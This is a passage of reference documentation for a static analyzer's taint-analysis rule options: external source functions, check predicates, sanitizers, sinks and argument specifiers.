'_mm_slli_si128', '_mm_sqrt_pd', '_mm_sqrt_ps', '_mm_srai_epi16', '_mm_srai_epi32', '_mm_srli_epi16', '_mm_srli_epi32', '_mm_srli_epi64', '_mm_srli_si128', '_mm_sub_epi16', '_mm_sub_epi32', '_mm_sub_epi64', '_mm_sub_epi8', '_mm_sub_pd', '_mm_sub_ps', '_mm_subs_epi16', '_mm_subs_epi8', '_mm_subs_epu16', '_mm_subs_epu8', '_mm_unpackhi_epi16', '_mm_unpackhi_epi32', '_mm_unpackhi_epi64', '_mm_unpackhi_epi8', '_mm_unpackhi_pd', '_mm_unpackhi_ps', '_mm_unpacklo_epi16', '_mm_unpacklo_epi32', '_mm_unpacklo_epi64', '_mm_unpacklo_epi8', '_mm_unpacklo_pd', '_mm_unpacklo_ps', '_mm_xor_pd', '_mm_xor_ps', '_mm_xor_si128', 'a64l', 'abs', 'acos', 'atan', 'atan2', 'atof', 'atoi', 'atol', 'calloc', 'close', 'cos', 'cvAlloc', 'dup', 'dup2', 'exp', 'fabs', 'fastMalloc', 'fchmod', 'fchown', 'fcntl', 'fileno', 'floor', 'fork', 'fputs', 'ftell', 'ftruncate', 'fwrite', 'getaddrinfo', 'getdtablesize', 'getegid', 'geteuid', 'getgid', 'getgrent', 'getgroups', 'getpagesize', 'getpgrp', 'getpid', 'getppid', 'getpwent', 'getpwnam', 'getpwuid', 'getservent', 'gettext', 'getuid', 'htonl', 'htons', 'iconv_open', 'inet_addr', 'ippicvMalloc_L', 'iswctype', 'localtime', 'log', 'log10', 'lseek', 'malloc', 'mblen', 'mbrlen', 'mbrtowc', 'mbsnrtowcs', 'mbstowcs', 'memcmp', 'memcpy', 'mmap', 'mremap', 'munmap', 'ntohl', 'ntohs', 'operator new', 'operator new[]', 'operator=', 'pow', 'printf', 'pthread_self', 'rand', 'readlink', 'realloc', 'rmdir', 'sbrk', 'setlocale', 'sigprocmask', 'sin', 'socket', 'sqrt', 'std::abs', 'std::acos', 'std::atan', 'std::atan2', 'std::basic_ostream::operator<<', 'std::floor', 'std::make_error_code', 'std::operator<<', 'std::operator|', 'strchr', 'strchrnul', 'strcmp', 'strcpy', 'strdup', 'strerror', 'strlen', 'strncasecmp', 'strncmp', 'strncpy', 'strnlen', 'strpbrk', 'strrchr', 'strsignal', 'strstr', 'strtod', 'strtoimax', 'strtol', 'strtold', 'strtoul', 'strtoull', 'strtoumax', 'strtouq', 'sysconf', 'tcgetpgrp', 'tcsetattr', 'time', 'tmpnam', 'tolower', 'toupper', 'towlower', 'towupper', 'ttyname', 'umask', 'unlink', 'vsnprintf', 'wcrtomb', 'wcscat', 'wcscpy', 'wcsdup', 'wcslen', 'wcsrtombs', 'wcswidth', 'wctob', 'wctomb', 'wctype', 'wcwidth', 'write'}
external_sources.return_values_of.functions : set[bauhaus.analysis.config.QualifiedName] =
Functions for which the return value should be considered an external value that must be checked before use. If the set is empty, all return values of external functions are checked.set()
is_acceptable_use_in_condition¶
is_acceptable_use_in_condition
If given, this predicate is used to check a condition further that involves the value received from an external source. The predicate receives the following arguments: check: The PIR node of type Conditional_Interface in whose condition the external value is used, or a Relational_Operator using it inside the operands val: The ExternalValue object representing the value received from an external source node: The PIR node representing the use of the external value use: The LIR node corresponding to the use The return value should be True iff the use of the external value inside this condition is ok (e.g. because that's a check validating the value).Type: typing.Callable[[bauhaus.ir.Node, bauhaus.rules.axivion.expressions.generic.taint_analysis.ExternalValue, bauhaus.ir.Node, bauhaus.ir.Node], bool] | None
Default:
None
is_relevant_usage¶
is_relevant_usage
If given, this predicate is used to check if a usage of tainted input is relevant for the analysis. This can be used to restrict the analysis to certain types of usages only. The predicate receives the following arguments: val: The ExternalValue object representing the value received from an external source node: The PIR node representing the use of the external value use: The LIR node corresponding to the use The return value should be True if the use of the external value inside this condition is relevant, i.e., if an error message should be issued by the rule. If the return value is False, the message is discarded.Type: typing.Callable[[bauhaus.rules.axivion.expressions.generic.taint_analysis.ExternalValue, bauhaus.ir.Node, bauhaus.ir.Node], bool] | None
Default:
None
is_sufficient_preceding_check¶
is_sufficient_preceding_check
If given, this predicate is used to check a condition further that involves the value received from an external source and which happens before the use being checked. It should also check whether the right branch was taken. The predicate receives the following arguments: check: The PIR node of type Conditional_Interface in which's condition the external value is used val: The ExternalValue object representing the value received from an external source node: The PIR node representing the use of the external value inside the condition use: The LIR node for the use being checked (after the condition) branch: The iranalysis block representing the branch taken at the condition The return value should be True iff the condition is sufficiently checking the validity of this external value.Type: typing.Callable[[bauhaus.ir.Node, bauhaus.rules.axivion.expressions.generic.taint_analysis.ExternalValue, bauhaus.ir.Node, bauhaus.ir.Node, _iranalysis.Basic_Block], bool] | None
Default:
None
maximum_reports_per_source_location¶
maximum_reports_per_source_location : int = 10
omit_implicitly_passed_this¶
omit_implicitly_passed_this : bool = True
only_report_arguments¶
only_report_arguments : bool = True
sanitizer_functions¶
sanitizer_functions
Description of sanitizing functions with the number of the sanitized argument.Type: dict[bauhaus.analysis.config.QualifiedName, ArgumentSpecifier]
Default:
{}
sanitizer_macros¶
sanitizer_macros
Description of sanitizing macros with the number of the sanitized argument.Type: dict[bauhaus.analysis.config.QualifiedName, ArgumentSpecifier]
Default:
{}
sinks¶
Description of the possible sinks for which flows of unchecked external values are reported
sinks.excluded
Functions which should be exempt from the set of functions considered as sinksType: dict[bauhaus.analysis.config.QualifiedName, ArgumentSpecifier]
Default:
{ 'free': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set={0}, argument_range_max=4294967295, argument_range_min=0 ) }
sinks.functions
Functions which should be in the set of functions considered as sinksType: dict[bauhaus.analysis.config.QualifiedName, ArgumentSpecifier]
Default:
{}
Option Types¶
These types are used by options listed above:
ArgumentSpecifier¶
Specification of which argument positions to consider: An argument at position x is included if ALL of the following conditions are met: * x is within the specified range: argument_range_min ≤ x ≤ argument_range_max * Either no specific arguments are listed (argument_numbers_set is empty), OR x is explicitly listed in argument_numbers_set Examples: * To target the first 5 variadic arguments of sscanf (positions 2-6): set argument_range_min = 2, argument_range_max = 6, leave argument_numbers_set empty * To target only the format string of sscanf (position 1): set argument_numbers_set = {1} and keep default values for argument_range_min and argument_range_maxargument_numbers_set : set[int] = set()
argument_range_max : int = 4294967295
argument_range_min : int = 0